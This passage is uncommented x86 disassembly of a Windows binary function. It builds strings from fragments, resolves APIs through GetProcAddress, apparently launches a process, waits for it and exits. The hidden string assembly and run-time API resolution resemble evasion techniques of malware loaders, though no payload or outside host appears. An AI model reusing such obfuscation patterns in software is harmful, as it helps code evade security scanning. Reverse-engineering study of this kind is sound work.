call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15ec]
lea edx, [ebp - 0x1254]
mov byte [ebp - 4], 0xd3
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15fc]
lea edx, [ebp - 0x1174]
mov byte [ebp - 4], 0xd4
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1608]
lea edx, [ebp - 0x121c]
mov byte [ebp - 4], 0xd5
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1600]
lea edx, [ebp - 0x11ac]
mov byte [ebp - 4], 0xd6
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15f8]
lea edx, [ebp - 0x10e8]
mov byte [ebp - 4], 0xd7
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x160c]
lea edx, [ebp - 0x1120]
mov byte [ebp - 4], 0xd8
call fcn.004040dc
mov ecx, eax
mov eax, edi
lea edx, [ebp - 0x1158]
mov byte [ebp - 4], 0xd9
call fcn.004040dc
push 0x420218
push eax
lea eax, [ebp - 0xe64]
mov byte [ebp - 4], 0xda
call fcn.00404144
mov ecx, eax
mov eax, esi
lea edx, [ebp - 0xf7c]
mov byte [ebp - 4], 0xdb
call fcn.004040dc
push eax
lea eax, [ebp - 0xcc0]
push eax
mov byte [ebp - 4], 0xdc
call fcn.00409dc2
add esp, 0x28
xor ebx, ebx
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0xf7c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xe64]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1158]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1120]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x10e8]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x11ac]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x121c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1174]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1254]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x113c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x11e4]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1104]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x128c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x10cc]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x12a8]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1270]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x11c8]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1190]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1238]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1094]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x10b0]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x12fc]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1580]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1350]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x14a0]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1388]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1548]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x13c0]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x14d8]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x13f8]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x15b8]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1430]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1510]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1468]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1200]
mov dword [ebp - 4], 0x100
call fcn.004015bb
lea eax, [ebp - 0xca4]
push eax
lea ecx, [ebp - 0xcc0]
call fcn.00401245
pop ecx
mov esi, eax
lea edi, [ebp - 0xcc0]
mov byte [ebp - 4], 1
call fcn.0040151d
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0xca4]
mov byte [ebp - 4], bl
call fcn.004015bb
cmp dword [ebp - 0xcac], 0x10
mov eax, dword [ebp - 0xcc0]
jae 0x406c88
mov eax, edi
push eax
push dword [ebp - 0x15d8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
jne 0x406caa
push dword [ebp - 0x15d8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4073b7
lea ecx, [ebp - 0xdb0]
push ecx
lea ecx, [ebp - 0x1688]
push ecx
lea ecx, [ebp - 0x738]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x840]
push ecx
push ebx
call eax
cmp eax, ebx
jne 0x406d02
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x320]
push 0x420300
push eax
call fcn.0040d01c
add esp, 0xc
push ebx
lea eax, [ebp - 0x320]
push eax
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4073b7
push 0xffffffffffffffff
push dword [ebp - 0xdb0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x12e0]
push eax
call fcn.00404e31
pop ecx
mov edi, eax
lea eax, [ebp - 0x1318]
push eax
mov byte [ebp - 4], 2
call fcn.0040217a
pop ecx
mov dword [ebp - 0x1614], eax
lea eax, [ebp - 0x15d4]
push eax
mov byte [ebp - 4], 3
call fcn.00404e31
pop ecx
mov dword [ebp - 0x1618], eax
lea eax, [ebp - 0x159c]
push eax
mov byte [ebp - 4], 4
call fcn.004021ae
pop ecx
mov dword [ebp - 0x1620], eax
lea eax, [ebp - 0x1564]
push eax
mov byte [ebp - 4], 5
call fcn.00404d47
pop ecx
mov dword [ebp - 0x1624], eax
lea eax, [ebp - 0x152c]
push eax
mov byte [ebp - 4], 6
call fcn.00404d7b
pop ecx
mov dword [ebp - 0x161c], eax
lea eax, [ebp - 0x14f4]
push eax
mov byte [ebp - 4], 7
call fcn.00404d2d
pop ecx
mov dword [ebp - 0x1628], eax
lea eax, [ebp - 0x14bc]
push eax
mov byte [ebp - 4], 8
call fcn.00404daf
pop ecx
mov dword [ebp - 0x160c], eax
lea eax, [ebp - 0x1484]
push eax
mov byte [ebp - 4], 9
call fcn.00404e17
pop ecx
mov dword [ebp - 0x15f8], eax
lea eax, [ebp - 0x144c]
push eax
mov byte [ebp - 4], 0xa
call fcn.004020c4
pop ecx
mov dword [ebp - 0x1600], eax
lea eax, [ebp - 0x1414]
push eax
mov byte [ebp - 4], 0xb
call fcn.004021e2
pop ecx
mov dword [ebp - 0x1608], eax
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x13dc]
push eax
call fcn.00404dc9
pop ecx
mov dword [ebp - 0x15fc], eax
lea eax, [ebp - 0x13a4]
push eax
mov byte [ebp - 4], 0xd
call fcn.0040217a
pop ecx
mov dword [ebp - 0x15ec], eax
lea eax, [ebp - 0x136c]
push eax
mov byte [ebp - 4], 0xe
call fcn.0040212c
pop ecx
mov dword [ebp - 0x15e4], eax
lea eax, [ebp - 0x1334]
push eax
mov byte [ebp - 4], 0xf
call fcn.0040200e
pop ecx
mov dword [ebp - 0x15f4], eax
lea eax, [ebp - 0xdf4]
push eax
mov byte [ebp - 4], 0x10
call fcn.00402076
pop ecx
mov dword [ebp - 0x15dc], eax
lea eax, [ebp - 0xe10]
push eax
mov byte [ebp - 4], 0x11
call fcn.00404d61
pop ecx
mov dword [ebp - 0x15e0], eax
lea eax, [ebp - 0xe9c]
push eax
mov byte [ebp - 4], 0x12
call fcn.004021e2
pop ecx
mov dword [ebp - 0x15e8], eax
lea eax, [ebp - 0x105c]
push eax
mov byte [ebp - 4], 0x13
call fcn.004021ae
pop ecx
mov dword [ebp - 0x1604], eax
lea eax, [ebp - 0xed4]
push eax
mov byte [ebp - 4], 0x14
call fcn.00404e17
pop ecx
mov dword [ebp - 0x15f0], eax
lea eax, [ebp - 0xfb4]
push eax
mov byte [ebp - 4], 0x15
call fcn.00404d95
pop ecx
mov ecx, eax
mov eax, dword [ebp - 0x15f0]
lea edx, [ebp - 0xf0c]
mov byte [ebp - 4], 0x16
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1604]
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x17
call fcn.004040dc
mov ecx, eax
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0x15e8]
lea edx, [ebp - 0x1024]
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15e0]
lea edx, [ebp - 0xf44]
mov byte [ebp - 4], 0x19
call fcn.004040dc
push 0x420304
push eax
lea eax, [ebp - 0xe2c]
mov byte [ebp - 4], 0x1a
call fcn.00404144
mov ecx, eax
mov eax, dword [ebp - 0x15dc]
lea edx, [ebp - 0xe48]
mov byte [ebp - 4], 0x1b
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15f4]
lea edx, [ebp - 0xe80]
mov byte [ebp - 4], 0x1c
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15e4]
lea edx, [ebp - 0xd84]
mov byte [ebp - 4], 0x1d
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15ec]
lea edx, [ebp - 0xda0]
mov byte [ebp - 4], 0x1e
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15fc]
lea edx, [ebp - 0xd4c]
mov byte [ebp - 4], 0x1f
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1608]
lea edx, [ebp - 0xd68]
mov byte [ebp - 4], 0x20
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1600]
lea edx, [ebp - 0xdd8]
mov byte [ebp - 4], 0x21
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15f8]
lea edx, [ebp - 0xef0]
mov byte [ebp - 4], 0x22
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x160c]
lea edx, [ebp - 0xf28]
mov byte [ebp - 4], 0x23
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1628]
lea edx, [ebp - 0xf60]
mov byte [ebp - 4], 0x24
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x161c]
lea edx, [ebp - 0xf98]
mov byte [ebp - 4], 0x25
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1624]
lea edx, [ebp - 0xfd0]
mov byte [ebp - 4], 0x26
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1620]
lea edx, [ebp - 0x1008]
mov byte [ebp - 4], 0x27
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1618]
lea edx, [ebp - 0x1040]
mov byte [ebp - 4], 0x28
call fcn.004040dc
push 0x4202fc
push eax
lea eax, [ebp - 0x1078]
mov byte [ebp - 4], 0x29
call fcn.00404144
mov ecx, eax
mov eax, dword [ebp - 0x1614]
lea edx, [ebp - 0xfec]
mov byte [ebp - 4], 0x2a
call fcn.004040dc
push 0x420228
push eax
lea eax, [ebp - 0xd14]
mov byte [ebp - 4], 0x2b
call fcn.00404144
mov ecx, eax
mov eax, edi
lea edx, [ebp - 0xca4]
mov byte [ebp - 4], 0x2c
call fcn.004040dc
push eax
lea eax, [ebp - 0xcf8]
push eax
mov byte [ebp - 4], 0x2d
call fcn.00409dc2
add esp, 0x20
push ebx
push esi
lea ecx, [ebp - 0xca4]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xd14]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xfec]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1078]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1040]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1008]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xfd0]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xf98]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xf60]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xf28]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xef0]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xdd8]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xd68]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xd4c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xda0]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xd84]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xe80]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xe48]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xe2c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xf44]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1024]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xd30]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xf0c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xfb4]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xed4]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x105c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xe9c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xe10]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xdf4]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1334]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x136c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x13a4]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x13dc]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1414]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x144c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1484]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x14bc]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x14f4]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x152c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1564]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x159c]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x15d4]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x1318]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0x12e0]
mov byte [ebp - 4], 0x5a
call fcn.004015bb
lea eax, [ebp - 0x1200]
push eax
lea ecx, [ebp - 0xcf8]
call fcn.00401245
pop ecx
mov esi, eax
lea edi, [ebp - 0xcf8]
mov byte [ebp - 4], 0x5b
call fcn.0040151d
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x1200]
mov byte [ebp - 4], 0x5a
call fcn.004015bb
cmp dword [ebp - 0xce4], 0x10
mov eax, dword [ebp - 0xcf8]
jae 0x407389
mov eax, edi
push eax
push dword [ebp - 0x15d8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
jne 0x407463
push dword [ebp - 0x15d8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
push esi
lea ecx, [ebp - 0xcf8]
call fcn.004015bb
push ebx
push esi
lea ecx, [ebp - 0xcc0]
mov dword [ebp - 4], 0xb7
call fcn.004015bb
push esi
xor edi, edi
lea esi, [ebp - 0xc6c]
call fcn.004017e3
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0xcdc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xc88]
call fcn.004017e3
lea ecx, [ebp - 0x16d0]
mov byte [ebp - 4], 0x71
call fcn.00407cba
lea eax, [ebp - 0x16d0]
push eax
mov dword [ebp - 0x16d0], 0x4210bc
call fcn.0040a1be
xor ebx, ebx
pop ecx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0x12c4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xeb8]
call fcn.004017e3
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x1638]
push eax
call fcn.00407b08
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040aa32
leave
ret
lea ecx, [ebp - 0x1610]
push ecx
push dword [ebp - 0xdb0]
mov dword [ebp - 0x1610], ebx
call eax
push dword [ebp - 0x15d8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x1610]
call dword [sym.imp.KERNEL32.dll_ExitProcess]